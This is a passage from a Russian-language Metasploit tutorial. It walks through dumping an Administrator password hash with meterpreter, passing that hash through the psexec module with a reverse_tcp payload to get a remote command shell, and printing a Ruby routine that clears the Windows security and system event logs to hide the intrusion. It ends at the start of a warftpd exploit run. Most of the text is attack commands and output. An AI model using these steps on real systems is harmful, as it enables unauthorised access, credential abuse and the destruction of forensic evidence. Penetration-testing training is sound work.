******NOPASSWORD*******:8846f7eaee8fb117ad06bdd830b7586c
 
Заменить на:
 
00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c
[*] Meterpreter session 1 opened (192.168.57.139:443 -> 192.168.57.131:1042)
 
meterpreter > use priv            
Loading extension priv...success.
meterpreter > hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter >

Теперь, когда meterpreter «сдампил» нам хэш, мы можем воспользоваться PSExec для подключения к жертве используя хэш.

root@bt4:/pentest/exploits/framework3# ./msfconsole
 
                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|
                           \|
 
 
       =[ msf v3.3-dev [core:3.3 api:1.0]
+ -- --=[ 412 exploits - 261 payloads
+ -- --=[ 21 encoders - 8 nops
       =[ 191 aux
 
msf > search psexec
[*] Searching loaded modules for pattern 'psexec'...
 
Exploits
========
 
   Name                       Description
   ----                       -----------
   windows/smb/psexec         Microsoft Windows Authenticated User Code Execution
   windows/smb/smb_relay      Microsoft Windows SMB Relay Code Execution
 
umsf > use windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
LHOST => 192.168.57.133
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 192.168.57.131
RHOST => 192.168.57.131
msf exploit(psexec) > show options
 
Module options:
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.57.131   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPass                   no        The password for the specified username
   SMBUser  Administrator    yes       The username to authenticate as
 
 
Payload options (windows/meterpreter/reverse_tcp):
 
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.57.133   yes       The local address
   LPORT     443              yes       The local port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Automatic
 
 
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
 
[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \KoVCxCjx.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \KoVCxCjx.exe...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)
 
meterpreter > execute -f cmd.exe -i
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
 
C:\WINDOWS\system32>

Вот и все! Мы успешно подключились к удаленному компьютеру с теми же полномочиями как и администратор, не беспокоясь о rainbow таблицах или взломе пароля. Особая благодарность Крису Гейтсу за документацию по этому вопросу.

Управление журналом событий.

Важным моментом любого проникновения является удаление истории ваших действий в системе. Вы можете найти те события которые вам нужны и удалить из журнала. Посмотрев на исходный код скрипта winenum, расположенного в 'scripts/meterpreter' мы увидим как это можно реализовать.

def clrevtlgs(session)
    evtlogs = [
        'security',
        'system',
        'application',
        'directory service',
        'dns server',
        'file replication service'
        ]
    print_status("Clearing Event Logs, this will leave and event 517")
    begin
    evtlogs.each do |evl|
        print_status("tClearing the #{evl} Event Log")
        log = session.sys.eventlog.open(evl)
        log.clear
    end
    print_status("Alll Event Logs have been cleared")
    rescue ::Exception => e
        print_status("Error clearing Event Log: #{e.class} #{e}")
 
    end
end

Давайте рассмотрим сценарий наших действий по очистке журнала событий, но вместо использования готовых скриптов, которые выполнят всю работу за нас, мы используем возможности интерпретатора ruby в Meterpreter для очистки логов «на лету». Для начала взглянем на журнал событий в Windows системе.

eventviewer

Теперь давайте проникнем в систему и в ручную подчистим логи. Запустим 'log = client.sys.eventlog.open('system')' для открытия логов системы.

msf exploit(warftpd_165_user) > exploit
 
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)